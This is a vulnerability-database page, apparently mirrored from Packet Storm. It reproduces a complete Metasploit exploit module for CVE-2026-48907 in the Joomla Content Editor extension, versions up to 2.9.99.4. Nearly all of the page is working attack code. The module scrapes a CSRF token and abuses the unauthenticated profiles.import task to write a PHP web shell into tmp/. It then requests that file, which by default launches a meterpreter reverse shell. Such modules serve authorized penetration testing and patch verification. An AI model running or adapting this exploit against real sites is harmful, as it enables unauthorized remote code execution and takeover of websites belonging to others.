Lucene search
+L

📄 Joomla Content Editor 2.9.99.4 Shell Upload

🗓️ 29 Jul 2026 00:00:00Reported by ispyispyispy, Uwe Flottemesch, David JardinType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 23 Views

Unauthenticated file upload in Joomla Content Editor leading to remote code execution (CVE-2026-48907).

Related
Code
# frozen_string_literal: true
    
    ##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Exploit::Remote
      Rank = ExcellentRanking
    
      include Msf::Exploit::Remote::HttpClient
      include Msf::Exploit::FileDropper
    
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name' => 'Joomla Content Editor Unauthenticated File Upload RCE',
            'Description' => %q{
              This module exploits an unauthenticated arbitrary profile creation vulnerability in the JCE
              (Joomla Content Editor) extension for Joomla! (CVE-2026-48907). The profiles.import task fails to enforce
              authentication, allowing the import of a crafted profile that is directly written to disk as a PHP web shell.
              This results in remote code execution, provided that the tmp/ directory is not explicitly restricted.
    
              JCE versions up to and including 2.9.99.4 are affected.
            },
            'License' => MSF_LICENSE,
            'Author' => [
              'ispyispyispy', # msf module
              'David Jardin', # discovery
              'Uwe Flottemesch' # discovery
            ],
            'References' => [
              ['CVE', '2026-48907'],
              ['GHSA', 'c3f5-4g7f-qjqj'],
              ['URL', 'https://www.joomlacontenteditor.net/news/jce-security-update-and-a-free-patch-for-older-sites']
            ],
            'DisclosureDate' => '2026-06-05',
            'Platform' => ['php'],
            'Arch' => ARCH_PHP,
            'Targets' => [
              ['Joomla Content Editor (Joomla!)', {}]
            ],
            'Privileged' => false,
            'DefaultOptions' => {
              'PAYLOAD' => 'php/meterpreter/reverse_tcp'
            },
            'DefaultTarget' => 0,
            'Notes' => {
              'Stability' => [CRASH_SAFE],
              'Reliability' => [REPEATABLE_SESSION],
              'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
            }
          )
        )
    
        register_options([
          OptString.new('TARGETURI', [true, 'The base path to Joomla!', '/']),
          OptString.new('FILENAME', [false, 'The filename for the uploaded payload (default: random)'])
        ])
      end
    
      def check
        res = send_request_cgi(
          'method' => 'GET',
          'uri' => normalize_uri(target_uri.path, 'components', 'com_jce', 'jce.php')
        )
    
        return CheckCode::Unknown('Could not connect to web service.') unless res
        return CheckCode::Safe('JCE component does not appear to be installed.') unless res.code != 404
        return CheckCode::Unknown("Unexpected HTTP response code: #{res.code}.") unless res.code == 200
    
        # We could also check with .php extension, but i'd rather not trigger anything by an accident.
        filename = "#{Rex::Text.rand_text_alphanumeric(rand(8..12))}#{['.jpg', '.png'].sample}"
    
        res = send_request_cgi(
          'method' => 'GET',
          'uri' => normalize_uri(target_uri.path, 'tmp', filename)
        )
    
        return CheckCode::Safe('Target does not allow direct access of uploaded files.') unless res && res.code != 403
    
        version = extract_jce_version
    
        return CheckCode::Detected('Exploit conditions are met. Target is likely vulnerable unless patched.') unless version
    
        version = Rex::Version.new(version)
    
        return CheckCode::Safe("JCE version #{version} detected.") unless version <= Rex::Version.new('2.9.99.4')
    
        CheckCode::Appears("JCE version #{version} detected.")
      end
    
      def exploit
        payload_filename = datastore['FILENAME'] || "#{Rex::Text.rand_text_alphanumeric(rand(8..12))}.php"
    
        fail_with(Failure::BadConfig, 'FILENAME must end with valid PHP file extension') unless payload_filename.match?(/\.(php[2-7]?|pht(?:ml)?)$/i)
    
        res = send_request_cgi(
          'method' => 'GET',
          'uri' => normalize_uri(target_uri.path, 'index.php'),
          'keep_cookies' => true
        )
    
        fail_with(Failure::Unreachable, 'Could not connect to web service') unless res
        fail_with(Failure::UnexpectedReply, "Unexpected HTTP response code: #{res.code}") unless res.code == 200
    
        csrf_token = extract_csrf_token(res.body)
        fail_with(Failure::UnexpectedReply, 'Failed to extract CSRF token') unless csrf_token
        vprint_status("Extracted CSRF token: #{csrf_token}")
    
        print_status("Uploading #{payload_filename}")
        res = upload_profile(payload_filename, payload.encoded, csrf_token)
    
        fail_with(Failure::Unreachable, 'No response received for the profile upload request') unless res
        fail_with(Failure::UnexpectedReply, "Upload failed with HTTP response code: #{res.code}") unless res.code == 200
    
        register_files_for_cleanup(payload_filename)
    
        payload_uri = normalize_uri(target_uri.path, 'tmp', payload_filename)
        print_status("Triggering #{payload_uri}")
    
        send_request_cgi({ 'method' => 'GET', 'uri' => payload_uri }, 5)
      end
    
      def extract_jce_version
        uri = normalize_uri(
          target_uri.path, 'media', 'com_jce', 'editor', 'extensions',
          'popups', 'jcemediabox', 'js', 'jcemediabox.js'
        )
    
        res = send_request_cgi(
          'method' => 'GET',
          'uri' => uri,
          'vars_get' => { 'v' => Time.now.to_i } # cache buster
        )
    
        return unless res&.code == 200
    
        match = res.body.match(/jce\s*-\s*([\d.]+)/)
        match[1] if match
      end
    
      def extract_csrf_token(body)
        match = body.match(/"csrf\.token"\s*:\s*"([a-f0-9]{32})"/)
        return match[1] if match
    
        match = body.match(/<input[^>]*name="([a-f0-9]{32})"[^>]*value="1"/i)
        match[1] if match
      end
    
      def upload_profile(filename, content, csrf_token)
        mime = Rex::MIME::Message.new
        mime.add_part(content, 'application/xml', 'binary', "form-data; name=\"profile_file\"; filename=\"#{filename}\"")
        mime.add_part('profiles.import', nil, nil, 'form-data; name="task"')
        mime.add_part('1', nil, nil, "form-data; name=\"#{csrf_token}\"")
    
        data = mime.to_s
    
        send_request_cgi(
          'method' => 'POST',
          'uri' => normalize_uri(target_uri.path),
          'vars_get' => { 'option' => 'com_jce' },
          'ctype' => "multipart/form-data; boundary=#{mime.bound}",
          'data' => data
        )
      end
    end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

29 Jul 2026 00:00Current
7.6High risk
Vulners AI Score7.6
CVSS 3.19.8
CVSS 410
EPSS0.55914
SSVC
23